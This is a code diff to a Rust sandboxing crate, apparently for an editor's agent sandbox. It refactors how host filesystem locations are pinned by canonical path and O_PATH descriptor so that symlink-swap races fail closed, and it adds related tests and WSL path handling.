-    // test needs no real `bwrap`.
+    // A requested writable path that doesn't exist must fail the whole
+    // invocation — never be created with the agent's ambient permissions, and
+    // never run the command with silently less write access than the agent
+    // asked for. This check runs before `resolve_bwrap`, so the test needs no
+    // real `bwrap`.
     #[test]
     fn test_wrap_invocation_fails_when_writable_path_cannot_be_provided() {
         let file = tempfile::NamedTempFile::new().unwrap();
@@ -1919,5 +1968,9 @@ mod tests {
             error.to_string().contains("writable sandbox path"),
             "unexpected error: {error:#}"
         );
+        assert!(
+            !unbindable.exists(),
+            "wrap_invocation must never create a missing writable path"
+        );
     }
 }
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 466ced18c05eb2..15b3edcec6b211 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -16,8 +16,6 @@ use std::{
 use http_proxy::ProxyHandle;
 #[cfg(not(target_os = "windows"))]
 use http_proxy::{Allowlist, HostPattern, ProxyConfig, ProxyEvent, UpstreamProxy};
-#[cfg(target_os = "linux")]
-use std::os::fd::AsRawFd as _;
 
 #[cfg(target_os = "linux")]
 mod linux_bubblewrap;
@@ -28,217 +26,21 @@ mod macos_seatbelt;
 #[cfg(target_os = "windows")]
 mod windows_wsl;
 
-#[cfg(target_os = "windows")]
-pub(crate) const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
-
-/// An opaque handle to a location on the **host** filesystem the sandbox may
-/// grant access to or protect (for example, a writable or protected subtree).
-///
-/// The entire purpose of this type is to capture the *security-relevant identity*
-/// of a host location once, up front, in a form the enforcement layer can use
-/// without re-resolving a path string later. Re-resolving a path at enforcement
-/// time is the classic time-of-check-to-time-of-use hole: a path that was
-/// verified as safe can be swapped for a symlink before the sandbox actually
-/// binds/allows it, redirecting the grant to an arbitrary host location.
-///
-/// What is captured is platform-specific:
-/// - **macOS**: the fully-canonicalized path, used verbatim as the Seatbelt rule
-///   literal. Seatbelt matches the *resolved* access path against this literal,
-///   so a post-capture swap of a path component fails closed (denied) rather
-///   than redirecting the grant.
-/// - **Linux**: an `O_PATH` file descriptor pinned to the target inode. bwrap is
-///   launched by a PTY that can't inherit extra fds, so we can't use bwrap's own
-///   `--bind-fd`; instead the bind uses an ordinary `--bind <path>` and an
-///   in-sandbox validator compares `fstat` of this descriptor against `lstat` of
-///   the mounted path after the mounts, failing closed on a post-capture swap
-///   (see `linux_bubblewrap::validate_binds` and `README.md`).
-/// - **Windows**: nothing — a Windows process holds no Linux fds, so the real
-///   capture-at-validation happens inside WSL (in the `--wsl-sandbox-helper`),
-///   and the value here carries only the requested path as untrusted intent.
-///
-/// The type is deliberately **opaque**: it does not `Deref`, and it never hands
-/// back its trusted value. The only thing readable is a *display-only* path via
-/// [`HostFilesystemLocation::untrusted_path_display`], suitable for showing a
-/// human but which must never be passed back into a sandbox API as the
-/// location's identity. Equality reflects the actual filesystem object (same
-/// inode), not the textual path.
-#[derive(Clone)]
-pub struct HostFilesystemLocation {
-    /// macOS: the canonicalized path, resolved exactly once at capture time and
-    /// used directly as the Seatbelt rule literal.
-    #[cfg(target_os = "macos")]
-    canonical_path: PathBuf,
-    /// Linux: an `O_PATH` descriptor pinned to the captured inode. Wrapped in an
-    /// `Arc` only so the surrounding policy types can stay `Clone`; cloning
-    /// shares the same underlying descriptor.
-    #[cfg(target_os = "linux")]
-    fd: std::sync::Arc<std::os::fd::OwnedFd>,
-    /// The path exactly as the caller requested it. Kept **only** so the UI can
-    /// show the user which location is being granted. This is never consulted by
-    /// any enforcement path — treat it as untrusted, attacker-influenced text.
-    untrusted_path_for_display: PathBuf,
-}
-
-impl HostFilesystemLocation {
-    /// Capture `path` as a host sandbox location, resolving its identity up front.
-    ///
-    /// On macOS this canonicalizes the path; on Linux it opens an `O_PATH`
-    /// descriptor to it; on Windows it records nothing. The caller is
-    /// responsible for having already *validated* `path` (e.g. confirmed it is
-    /// inside the project, or safe to treat as a protected path) — capturing it here
-    /// pins that decision against later tampering. To be race-free, capture
-    /// should happen as part of, or immediately after, that validation, and the
-    /// resulting value should be passed around unchanged from then on (never
-    /// re-derived from a path).
-    pub fn new(path: impl AsRef<Path>) -> std::io::Result<Self> {
-        let path = path.as_ref();
-        let untrusted_path_for_display = path.to_path_buf();
-
-        #[cfg(target_os = "macos")]
-        {
-            // `canonicalize_allowing_missing_leaf` resolves through the existing
-            // parent so a not-yet-created leaf still yields the real path
-            // Seatbelt will match against.
-            let canonical_path = canonicalize_allowing_missing_leaf(path);
-            Ok(Self {
-                canonical_path,
-                untrusted_path_for_display,
-            })
-        }
-        #[cfg(target_os = "linux")]
-        {
-            use std::os::unix::fs::OpenOptionsExt as _;
-            // `O_PATH` opens a handle that refers to the inode without granting
-            // read/write on its contents, which is exactly what a bind source
-            // needs. `O_CLOEXEC` keeps the descriptor from leaking into
-            // unrelated children; the bind step re-publishes it deliberately
-            // when launching bwrap.
-            let file = std::fs::OpenOptions::new()
-                .read(true)
-                .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
-                .open(path)?;
-            Ok(Self {
-                fd: std::sync::Arc::new(std::os::fd::OwnedFd::from(file)),
-                untrusted_path_for_display,
-            })
-        }
-        #[cfg(not(any(target_os = "macos", target_os = "linux")))]
-        {
-            Ok(Self {
-                untrusted_path_for_display,
-            })
-        }
-    }
-
-    /// The requested path, for **display only** (e.g. the permission-request UI).
-    ///
-    /// This intentionally returns the untrusted, as-requested path — never the
-    /// captured trusted identity. Do not feed the result back into any sandbox
-    /// API as if it identified this location.
-    pub fn untrusted_path_display(&self) -> std::path::Display<'_> {
-        self.untrusted_path_for_display.display()
-    }
-
-    /// macOS: the canonical path captured once at construction, used verbatim as
-    /// the Seatbelt rule literal. Trusted — never re-resolved. Falls back to the
-    /// requested path for a display-only location (which must never reach
-    /// enforcement).
-    #[cfg(target_os = "macos")]
-    pub(crate) fn macos_canonical_path(&self) -> &Path {
-        &self.canonical_path
-    }
-
-    /// Linux: a borrowed handle to the pinned inode, for deriving a bind source
-    /// path and for `fstat`-based identity checks.
-    #[cfg(target_os = "linux")]
-    pub(crate) fn linux_fd(&self) -> std::os::fd::BorrowedFd<'_> {
-        use std::os::fd::AsFd as _;
-        self.fd.as_fd()
-    }
-
-    /// Linux: an independent `O_PATH` descriptor to the same pinned inode,
-    /// duplicated (with `O_CLOEXEC`) so the validation server can own and send it
-    /// over `SCM_RIGHTS` without affecting this location's descriptor.
-    #[cfg(target_os = "linux")]
-    pub(crate) fn linux_dup_fd(&self) -> std::io::Result<std::os::fd::OwnedFd> {
-        use std::os::fd::AsFd as _;
-        self.fd.as_fd().try_clone_to_owned()
-    }
-
-    /// Windows: the requested path, to be mapped into WSL and handed to the
-    /// in-WSL helper. Windows captures no identity itself (it holds no Linux
-    /// fds); the real capture-at-validation happens WSL-side in the helper, so
-    /// here the requested path *is* the location.
-    #[cfg(target_os = "windows")]
-    pub(crate) fn windows_path(&self) -> &Path {
-        &self.untrusted_path_for_display
-    }
-}
-
-impl fmt::Debug for HostFilesystemLocation {
-    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
-        // Only the display path is shown; the trusted identity stays opaque.
-        formatter
-            .debug_struct("HostFilesystemLocation")
-            .field(
-                "untrusted_path_for_display",
-                &self.untrusted_path_for_display,
-            )
-            .finish_non_exhaustive()
-    }
-}
-
-impl PartialEq for HostFilesystemLocation {
-    /// Two locations are equal when they refer to the **same filesystem object**,
-    /// determined from the captured identity (the inode behind the `O_PATH` fd on
-    /// Linux, the canonical path on macOS) — never from the textual
-    /// display path. This is what lets policy bookkeeping dedupe "the same
-    /// location named two different ways," and refuse to treat "two different
-    /// objects that happen to share a path string" as one.
-    fn eq(&self, other: &Self) -> bool {
-        #[cfg(target_os = "linux")]
-        {
-            match (
-                linux_fd_identity(self.fd.as_raw_fd()),
-                linux_fd_identity(other.fd.as_raw_fd()),
-            ) {
-                (Some(a), Some(b)) => a == b,
-                // An `fstat` on an `O_PATH` fd we own should never fail; if it
-                // somehow does we can't prove identity, so report "not equal"
-                // (the safe answer) and leave a trace.
-                _ => {
-                    log::error!(
-                        "failed to fstat an O_PATH descriptor while comparing sandbox locations"
-                    );
-                    false
-                }
-            }
-        }
-        #[cfg(target_os = "macos")]
-        {
-            // Canonicalization is a bijection on real paths, so equal canonical
-            // paths mean the same directory/file.
-            self.canonical_path == other.canonical_path
-        }
-        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
-        {
-            // No enforcement and no captured identity on these platforms; fall
-            // back to the requested path purely so the type can still be used in
-            // collections.
-            self.untrusted_path_for_display == other.untrusted_path_for_display
-        }
-    }
-}
-
-impl Eq for HostFilesystemLocation {}
+mod util;
 
-/// The `(device, inode)` pair behind an `O_PATH` descriptor, used to decide
-/// whether two [`HostFilesystemLocation`]s refer to the same filesystem object.
+#[cfg(target_os = "macos")]
+use util::canonicalize_allowing_missing_leaf;
 #[cfg(target_os = "linux")]
-fn linux_fd_identity(fd: std::os::fd::RawFd) -> Option<(u64, u64)> {
-    let stat = nix::sys::stat::fstat(fd).ok()?;
-    Some((stat.st_dev as u64, stat.st_ino as u64))
-}
+use util::{CanonicalPathBuf, linux_fd_identity};
+pub use util::{
+    HostFilesystemLocation, HostFilesystemLocationDisplay, normalize_host_filesystem_locations,
+    resolve_canonical,
+};
+#[cfg(target_os = "windows")]
+pub use windows_wsl::{ResolvedGrant, resolve_canonical_for_grant};
+
+#[cfg(target_os = "windows")]
+pub(crate) const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
 
 /// A path *inside the sandbox* — i.e. where a host location is exposed in the
 /// sandboxed process's view of the filesystem (for example, a bind-mount
@@ -322,6 +124,23 @@ pub enum SandboxNetPolicy {
 /// application-specific paths need stronger protection.
 pub type ProtectedPaths = Vec<HostFilesystemLocation>;
 
+/// Whether `path` (a host path) resides on a Windows drive reached through WSL's
+/// DrvFs, where sandbox-integrity guarantees are weaker than on the distro's
+/// native filesystem. Always `false` off Windows, where no such filesystem
+/// exists. This is a cheap structural check on the path shape; the authoritative
+/// per-grant classification is done in WSL by [`resolve_canonical_for_grant`].
+pub fn path_is_on_windows_drive(path: &Path) -> bool {
+    #[cfg(target_os = "windows")]
+    {
+        windows_wsl::path_is_on_windows_drive(path)
+    }
+    #[cfg(not(target_os = "windows"))]
+    {
+        let _ = path;
+        false
+    }
+}
+
 impl SandboxPolicy {
     /// Combine two policy layers. Filesystem/network grants are unioned into the
     /// least-restrictive policy that satisfies both layers, while protected paths
@@ -351,15 +170,12 @@ impl SandboxPolicy {
 }
 
 fn merge_locations(
-    mut locations: Vec<HostFilesystemLocation>,
+    locations: Vec<HostFilesystemLocation>,
     other: Vec<HostFilesystemLocation>,
 ) -> Vec<HostFilesystemLocation> {
-    for location in other {
-        if !locations.contains(&location) {
-            locations.push(location);
-        }
-    }
-    locations
+    // Union the two sets and reduce to a minimal cover, so a location nested
+    // under another (in either input) is dropped rather than bound redundantly.
+    normalize_host_filesystem_locations(locations.into_iter().chain(other))
 }
 
 fn validate_writable_paths_do_not_overlap_protected_paths(
@@ -404,8 +220,8 @@ fn writable_path_overlaps_protected_path(
     protected_path: &HostFilesystemLocation,
 ) -> bool {
     writable_path
-        .untrusted_path_for_display
-        .starts_with(&protected_path.untrusted_path_for_display)
+        .untrusted_raw_path()
+        .starts_with(protected_path.untrusted_raw_path())
 }
 
 #[cfg(target_os = "linux")]
@@ -897,17 +713,17 @@ impl Sandbox {
         };
         let protected_paths = self.protected_paths();
         // Build the writable binds as (captured fd, bind path) pairs in lockstep.
-        // The bind *path* is derived from the pinned inode (readlink of the
-        // captured `O_PATH` fd), never from an attacker-influenceable string; the
-        // *fd* is what the in-sandbox validator compares the mounted inode
-        // against. The two lists stay in the same order so each fd lines up with
-        // its path on the validator side.
+        // The bind *path* is the verified canonical path of each location — for a
+        // persisted grant, `HostFilesystemLocation::reopen` already proved this
+        // path's current inode is the approved one (`readlink(fd) == canonical`)
+        // and holds the fd open pinning it. The *fd* is what the in-sandbox
+        // validator compares the mounted inode against, catching any swap between
+        // that host-side check and the mount. The two lists stay in the same
+        // order so each fd lines up with its path on the validator side.
         let mut writable_owned: Vec<PathBuf> = Vec::new();
         let mut writable_fds: Vec<std::os::fd::OwnedFd> = Vec::new();
         for location in &self.fs.writable_paths {
-            let Some(path) = linux_location_path(location) else {
-                continue;
-            };
+            let path = location.linux_canonical_path().to_path_buf();
             match location.linux_dup_fd() {
                 Ok(fd) => {
                     writable_owned.push(path);
@@ -926,7 +742,7 @@ impl Sandbox {
         let writable: Vec<&Path> = writable_owned.iter().map(PathBuf::as_path).collect();
         let protected_owned: Vec<PathBuf> = protected_paths
             .iter()
-            .filter_map(linux_location_path)
+            .map(|location| location.linux_canonical_path().to_path_buf())
             .collect();
         let protected_paths: Vec<&Path> = protected_owned.iter().map(PathBuf::as_path).collect();
 
@@ -1047,19 +863,19 @@ impl Sandbox {
             allow_network: matches!(self.network, NetSetup::Unrestricted),
             allow_fs_write: self.fs.allow_fs_write,
         };
-        // On Windows the location carries only the requested path; the in-WSL
-        // helper performs the real capture-at-validation. These are mapped into
-        // WSL by `wrap_invocation`.
-        let writable_paths: Vec<PathBuf> = self
+        let writable_paths = self
             .fs
             .writable_paths
             .iter()
-            .map(|location| location.windows_path().to_path_buf())
+            .map(|location| windows_wsl::WritablePath {
+                requested: location.windows_requested_path().to_path_buf(),
+                canonical: location.windows_canonical_path().to_path_buf(),
+            })
             .collect();
         let protected_paths: Vec<PathBuf> = self
             .protected_paths()
             .iter()
-            .map(|location| location.windows_path().to_path_buf())
+            .map(|location| location.windows_requested_path().to_path_buf())
             .collect();
         let (program, args) = windows_wsl::wrap_invocation(
             command.program.clone(),
@@ -1104,6 +920,8 @@ impl Drop for Sandbox {
 /// otherwise it's dead code on macOS.
 #[cfg(any(target_os = "linux", target_os = "windows"))]
 pub(crate) const WSL_SANDBOX_HELPER_FLAG: &str = "--wsl-sandbox-helper";
+#[cfg(any(target_os = "linux", target_os = "windows"))]
+pub(crate) const WSL_SANDBOX_RESOLVE_FLAG: &str = "--wsl-sandbox-resolve-path";
 
 /// Handle a possible re-exec of this binary as a sandbox helper.
 ///
@@ -1129,16 +947,6 @@ pub fn run_sandbox_launcher_if_invoked() {
 // with no writable binds rather than re-deriving paths from the opaque
 // locations.
 
-/// The current path of the inode pinned by a [`HostFilesystemLocation`]'s
-/// `O_PATH` fd, via `/proc/self/fd`. This resolves to the *pinned inode*, so it
-/// reflects the object captured at validation even if its name was changed,
-/// rather than re-resolving an attacker-influenceable path string.
-#[cfg(target_os = "linux")]
-fn linux_location_path(location: &HostFilesystemLocation) -> Option<PathBuf> {
-    use std::os::fd::AsRawFd as _;
-    std::fs::read_link(format!("/proc/self/fd/{}", location.linux_fd().as_raw_fd())).ok()
-}
-
 #[cfg(not(target_os = "windows"))]
 fn resolve_restricted_network(allowed_domains: &[String]) -> Result<NetSetup, SandboxError> {
     let mut patterns = Vec::with_capacity(allowed_domains.len());
@@ -1318,9 +1126,10 @@ mod tests {
         let hooks_dir = git_dir.join("hooks");
         std::fs::create_dir_all(&hooks_dir).expect("create git hooks dir");
 
-        let protected_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
-        let writable_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
-        let writable_hooks = HostFilesystemLocation::new(&hooks_dir).expect("capture hooks dir");
+        let protected_git = HostFilesystemLocation::capture(&git_dir).expect("capture git dir");
+        let writable_git = HostFilesystemLocation::capture(&git_dir).expect("capture git dir");
+        let writable_hooks =
+            HostFilesystemLocation::capture(&hooks_dir).expect("capture hooks dir");
 
         for writable_path in [writable_git, writable_hooks] {
             let result = Sandbox::new(SandboxPolicy {
@@ -1349,11 +1158,11 @@ mod tests {
         std::fs::create_dir_all(&git_dir).expect("create git dir");
         std::fs::create_dir_all(&outside_hooks_dir).expect("create outside hooks dir");
 
-        let protected_git = HostFilesystemLocation::new(&git_dir).expect("capture git dir");
+        let protected_git = HostFilesystemLocation::capture(&git_dir).expect("capture git dir");
         std::fs::rename(&git_dir, &real_git_dir).expect("move git dir aside");
         unix_fs::symlink(&outside_dir, &git_dir).expect("replace git dir with symlink");
         let writable_displayed_inside_git =
-            HostFilesystemLocation::new(git_dir.join("hooks")).expect("capture symlink target");
+            HostFilesystemLocation::capture(git_dir.join("hooks")).expect("capture symlink target");
 
         Sandbox::new(SandboxPolicy {
             fs: SandboxFsPolicy::Restricted {
@@ -1374,7 +1183,7 @@ mod tests {
         let dir_c = tempfile::tempdir().expect("create temp dir c");
         let dir_d = tempfile::tempdir().expect("create temp dir d");
         let location = |dir: &tempfile::TempDir| {
-            HostFilesystemLocation::new(dir.path()).expect("capture temp dir")
+            HostFilesystemLocation::capture(dir.path()).expect("capture temp dir")
         };
 
         let a = SandboxFsPolicy::Restricted {
@@ -1508,6 +1317,9 @@ mod tests {
 /// (`HostFilesystemLocation`), which re-pins the inode when the command runs.
 pub struct GrantableWriteDir {
     canonical_path: PathBuf,
+    /// The path exactly as requested, carried so the caller can persist and
+    /// display the `(raw, canonical)` pair (see [`HostFilesystemLocation`]).
+    untrusted_raw_path: PathBuf,
     /// Directories created eagerly to pin the inode, shallowest-first. Empty on
     /// platforms that defer creation to [`Self::finalize`].
     eagerly_created: Vec<PathBuf>,
@@ -1516,6 +1328,7 @@ pub struct GrantableWriteDir {
 impl GrantableWriteDir {
     /// Prepare `path` for use as a sandbox write grant. `path` must be absolute.
     pub fn prepare(path: &Path) -> std::io::Result<Self> {
+        let untrusted_raw_path = path.to_path_buf();
         #[cfg(target_os = "linux")]
         {
             let mut eagerly_created = Vec::new();
@@ -1529,6 +1342,7 @@ impl GrantableWriteDir {
             let canonical_path = pinned_canonical_path(path)?;
             Ok(Self {
                 canonical_path,
+                untrusted_raw_path,
                 eagerly_created,
             })
         }
@@ -1536,12 +1350,13 @@ impl GrantableWriteDir {
         {
             Ok(Self {
                 canonical_path: canonicalize_allowing_missing_leaf(path),
+                untrusted_raw_path,
                 eagerly_created: Vec::new(),
             })
         }
         #[cfg(not(any(target_os = "linux", target_os = "macos")))]
         {
-            let _ = path;
+            let _ = untrusted_raw_path;
             Err(std::io::Error::new(
                 std::io::ErrorKind::Unsupported,
                 "granting a not-yet-existing write directory is not supported on this platform",
@@ -1555,6 +1370,12 @@ impl GrantableWriteDir {
         &self.canonical_path
     }
 
+    /// The path exactly as requested, for persisting alongside the canonical
+    /// path and for the "requested → granted" approval disclosure.
+    pub fn untrusted_raw_path(&self) -> &Path {
+        &self.untrusted_raw_path
+    }
+
     /// Materialize the directory once the grant is approved. A no-op on platforms
     /// that already created it eagerly.
     pub fn finalize(&self) -> std::io::Result<()> {
@@ -1598,13 +1419,7 @@ fn create_missing_dirs(path: &Path, created: &mut Vec<PathBuf>) -> std::io::Resu
 /// when a component is a symlink.
 #[cfg(target_os = "linux")]
 fn pinned_canonical_path(path: &Path) -> std::io::Result<PathBuf> {
-    use std::os::fd::AsRawFd as _;
-    use std::os::unix::fs::OpenOptionsExt as _;
-    let handle = std::fs::OpenOptions::new()
-        .read(true)
-        .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
-        .open(path)?;
-    std::fs::read_link(format!("/proc/self/fd/{}", handle.as_raw_fd()))
+    Ok(CanonicalPathBuf::resolve(path)?.into_path())
 }
 
 #[cfg(all(test, target_os = "linux"))]
@@ -1664,63 +1479,3 @@ mod grantable_write_dir_tests {
         assert!(!real.join("child").exists());
     }
 }
-
-/// Canonicalize `path`, resolving symlinks, even when its final component
-/// doesn't exist yet.
-///
-/// `std::fs::canonicalize` fails if any component is missing, which would leave
-/// a not-yet-created path in a non-canonical form. The sandbox layers
-/// canonicalize the writable parent
-/// (the worktree root) but, with a plain `canonicalize`, fall back to the raw
-/// path for a missing child; the two then disagree when a component is a
-/// symlink (`/tmp` -> `/private/tmp` on macOS), and the protection rule for the
-/// child misses the real path the command ends up writing. Canonicalizing the
-/// existing parent and re-appending the final component keeps the child
-/// consistent with its parent. If neither the path nor its parent can be
-/// canonicalized, the path is returned unchanged.
-//
-// Only the macOS Seatbelt layer uses this (Linux skips not-yet-existing
-// protected paths rather than emitting a rule for them), so it's gated to macOS
-// to avoid a dead-code warning elsewhere.
-#[cfg(target_os = "macos")]
-pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std::path::PathBuf {
-    if let Ok(canonical) = path.canonicalize() {
-        return canonical;
-    }
-    if let (Some(parent), Some(file_name)) = (path.parent(), path.file_name())
-        && let Ok(canonical_parent) = parent.canonicalize()
-    {
-        return canonical_parent.join(file_name);
-    }
-    path.to_path_buf()
-}
-
-#[cfg(all(test, target_os = "macos"))]
-mod macos_tests {
-    use super::canonicalize_allowing_missing_leaf;
-
-    #[test]
-    fn canonicalize_allowing_missing_leaf_resolves_existing_parent() {
-        let dir = tempfile::tempdir().unwrap();
-        let canonical_dir = dir.path().canonicalize().unwrap();
-
-        // A fully existing path is canonicalized outright.
-        assert_eq!(
-            canonicalize_allowing_missing_leaf(dir.path()),
-            canonical_dir
-        );
-
-        // A path whose leaf doesn't exist yet still resolves through its parent,
-        // so it stays consistent with how the parent directory canonicalizes
-        // (for example, when protecting a not-yet-created child path).
-        let missing = dir.path().join("not-created-yet");
-        assert_eq!(
-            canonicalize_allowing_missing_leaf(&missing),
-            canonical_dir.join("not-created-yet"),
-        );
-
-        // A path whose parent also doesn't exist is returned unchanged.
-        let deeper = missing.join(".git");
-        assert_eq!(canonicalize_allowing_missing_leaf(&deeper), deeper);
-    }
-}
diff --git a/crates/sandbox/src/util.rs b/crates/sandbox/src/util.rs
new file mode 100644
index 00000000000000..429d4d832736e4
--- /dev/null
+++ b/crates/sandbox/src/util.rs
@@ -0,0 +1,123 @@
+//! Path-identity primitives shared by the sandbox enforcement layers.
+//!
+//! [`CanonicalPathBuf`] is the low-level primitive: a symlink-free canonical
+//! path that, on Linux, additionally pins the exact inode it names via a live
+//! `O_PATH` handle. [`HostFilesystemLocation`] wraps it into the opaque
+//! host-location handle the policy layer traffics in, pairing the trusted
+//! canonical identity with the untrusted, as-requested path (for display and
+//! provenance).
+
+mod canonical_path;
+mod host_filesystem_location;
+
+pub(crate) use canonical_path::CanonicalPathBuf;
+#[cfg(target_os = "linux")]
+pub(crate) use canonical_path::linux_fd_identity;
+pub use host_filesystem_location::{
+    HostFilesystemLocation, HostFilesystemLocationDisplay, normalize_host_filesystem_locations,
+};
+
+use std::path::{Path, PathBuf};
+
+/// Resolve `path` to its canonical, symlink-free form, for recording as the
+/// `resolved` half of a persisted write grant (and for showing the user the true
+/// target at approval time).
+///
+/// This **follows** symlinks: it discovers the real target so it can be shown
+/// and persisted. Protection against a *later* swap comes from rebuilding the
+/// grant with [`HostFilesystemLocation::reopen`], which verifies this value.
+/// Mirrors what [`HostFilesystemLocation::capture`] computes internally.
+#[cfg(any(target_os = "linux", target_os = "macos"))]
+pub fn resolve_canonical(path: impl AsRef<Path>) -> std::io::Result<PathBuf> {
+    Ok(CanonicalPathBuf::resolve(path)?.into_path())
+}
+
+/// Non-Linux/macOS platforms capture no canonical identity of their own (the
+/// real resolution happens WSL-side), so the requested path is returned as-is.
+#[cfg(not(any(target_os = "linux", target_os = "macos")))]
+pub fn resolve_canonical(path: impl AsRef<Path>) -> std::io::Result<PathBuf> {
+    Ok(path.as_ref().to_path_buf())
+}
+
+/// Lexically normalize an absolute path (collapsing `.` and `..` and redundant
+/// separators) without touching the filesystem. Returns `None` for a relative
+/// path, which can't be compared to an absolute canonical path without a base.
+#[cfg(any(target_os = "linux", target_os = "macos"))]
+pub(crate) fn lexically_normalized_absolute(path: &Path) -> Option<PathBuf> {
+    use std::path::Component;
+    if !path.is_absolute() {
+        return None;
+    }
+    let mut normalized = PathBuf::new();
+    for component in path.components() {
+        match component {
+            Component::CurDir => {}
+            Component::ParentDir => {
+                // Never pop past the root: `normalized.pop()` is a no-op at root.
+                normalized.pop();
+            }
+            other => normalized.push(other),
+        }
+    }
+    Some(normalized)
+}
+
+/// Canonicalize `path`, resolving symlinks, even when its final component
+/// doesn't exist yet.
+///
+/// `std::fs::canonicalize` fails if any component is missing, which would leave
+/// a not-yet-created path in a non-canonical form. The sandbox layers
+/// canonicalize the writable parent
+/// (the worktree root) but, with a plain `canonicalize`, fall back to the raw
+/// path for a missing child; the two then disagree when a component is a
+/// symlink (`/tmp` -> `/private/tmp` on macOS), and the protection rule for the
+/// child misses the real path the command ends up writing. Canonicalizing the
+/// existing parent and re-appending the final component keeps the child
+/// consistent with its parent. If neither the path nor its parent can be
+/// canonicalized, the path is returned unchanged.
+//
+// Only the macOS Seatbelt layer uses this (Linux skips not-yet-existing
+// protected paths rather than emitting a rule for them), so it's gated to macOS
+// to avoid a dead-code warning elsewhere.
+#[cfg(target_os = "macos")]
+pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std::path::PathBuf {
+    if let Ok(canonical) = path.canonicalize() {
+        return canonical;
+    }
+    if let (Some(parent), Some(file_name)) = (path.parent(), path.file_name())
+        && let Ok(canonical_parent) = parent.canonicalize()
+    {
+        return canonical_parent.join(file_name);
+    }
+    path.to_path_buf()
+}
+
+#[cfg(all(test, target_os = "macos"))]
+mod macos_tests {
+    use super::canonicalize_allowing_missing_leaf;
+
+    #[test]
+    fn canonicalize_allowing_missing_leaf_resolves_existing_parent() {
+        let dir = tempfile::tempdir().unwrap();
+        let canonical_dir = dir.path().canonicalize().unwrap();
+
+        // A fully existing path is canonicalized outright.
+        assert_eq!(
+            canonicalize_allowing_missing_leaf(dir.path()),
+            canonical_dir
+        );
+
+        // A path whose leaf doesn't exist yet still resolves through its parent,
+        // so it stays consistent with how the parent directory canonicalizes
+        // (for example, when protecting a not-yet-created child path).
+        let missing = dir.path().join("not-created-yet");
+        assert_eq!(
+            canonicalize_allowing_missing_leaf(&missing),
+            canonical_dir.join("not-created-yet"),
+        );
+
+        // A path whose parent also doesn't exist is returned unchanged.
+        let deeper = missing.join(".git");
+        assert_eq!(canonicalize_allowing_missing_leaf(&deeper), deeper);
+    }
+}
diff --git a/crates/sandbox/src/util/canonical_path.rs b/crates/sandbox/src/util/canonical_path.rs
new file mode 100644
index 00000000000000..2b820bae1635e1
--- /dev/null
+++ b/crates/sandbox/src/util/canonical_path.rs
@@ -0,0 +1,359 @@
+//! The [`CanonicalPathBuf`] primitive: a symlink-free canonical path that, on
+//! Linux, is backed by a **live `O_PATH` handle pinning the exact inode** it
+//! names — not merely a path string.
+
+use std::{
+    io,
+    path::{Path, PathBuf},
+};
+
+#[cfg(target_os = "linux")]
+use std::os::fd::{AsFd as _, AsRawFd as _, BorrowedFd, OwnedFd};
+
+/// A canonical, symlink-free filesystem path.
+///
+/// On **Linux** this is not merely a path string: it also owns a live `O_PATH`
+/// file descriptor pinning the exact inode the path named at construction time.
+/// The descriptor — not the text — is the security-relevant identity, so
+/// enforcement can prove the object living at the path *now* is still the one
+/// that was captured, closing the classic time-of-check-to-time-of-use hole
+/// where a verified path is swapped for a symlink before it is actually used.
+/// On **Windows** it is a plain path string, but constrained by construction to
+/// one of the two shapes a sandboxed WSL command can name: a Windows drive path
+/// (`C:\...`, on NTFS) or a Linux-absolute path (`/...`, inside the WSL distro).
+/// `\\wsl.localhost\...`, other UNC paths, and relative paths are rejected — a
+/// sandboxed project is always local (WSL projects are remote and unsandboxed),
+/// so a grant is either the project's own NTFS files or a WSL-native location.
+/// On other platforms it is a plain canonical path (see the constructors for the
+/// per-platform rationale).
+///
+/// Invariant: [`path`](Self::path) is an **absolute**, symlink-free realpath; on
+/// Linux this is *proven* at construction (`resolve` reads it back from
+/// `/proc/self/fd`, `from_canonical` re-verifies a claimed value against the
+/// reopened fd). Both constructors reject a non-absolute input on the platforms
+/// that resolve paths themselves (Linux/macOS): a relative path would otherwise
+/// be resolved against Zed's *own* process working directory, silently pinning
+/// an unpredictable location.
+#[derive(Clone)]
+pub(crate) struct CanonicalPathBuf {
+    path: PathBuf,
+    /// An `O_PATH` descriptor pinning the inode of the canonical target. Wrapped
+    /// in an `Arc` only so the surrounding policy types can stay `Clone`;
+    /// cloning shares the same underlying descriptor.
+    #[cfg(target_os = "linux")]
+    fd: std::sync::Arc<OwnedFd>,
+}
+
+impl CanonicalPathBuf {
+    /// Resolve `path` to its canonical target, **following** symlinks to
+    /// discover the real object it names.
+    ///
+    /// Following symlinks is intentional: the goal is to find the true target so
+    /// it can be shown, persisted, and pinned. Protection against a *later* swap
+    /// comes from persisting the resolved path and rebuilding with
+    /// [`Self::from_canonical`], which verifies it.
+    pub(crate) fn resolve(path: impl AsRef<Path>) -> io::Result<Self> {
+        let path = path.as_ref();
+        // A relative path would be resolved against Zed's own process working
+        // directory by the `open`/`canonicalize` below, silently pinning an
+        // unpredictable location. Every grant flows through this constructor, so
+        // rejecting here fails closed for all of them at once.
+        #[cfg(any(target_os = "linux", target_os = "macos"))]
+        require_absolute(path)?;
+        #[cfg(target_os = "windows")]
+        require_windows_grant_shape(path)?;
+
+        #[cfg(target_os = "macos")]
+        {
+            // `canonicalize_allowing_missing_leaf` resolves through the existing
+            // parent so a not-yet-created leaf still yields the real path
+            // Seatbelt will match against.
+            Ok(Self {
+                path: super::canonicalize_allowing_missing_leaf(path),
+            })
+        }
+        #[cfg(target_os = "linux")]
+        {
+            use std::os::unix::fs::OpenOptionsExt as _;
+            // `O_PATH` opens a handle that refers to the inode without granting
+            // read/write on its contents, which is exactly what a bind source
+            // needs. Symlinks are followed (no `O_NOFOLLOW`) so the fd pins the
+            // real target; its canonical path is then read back from
+            // `/proc/self/fd`.
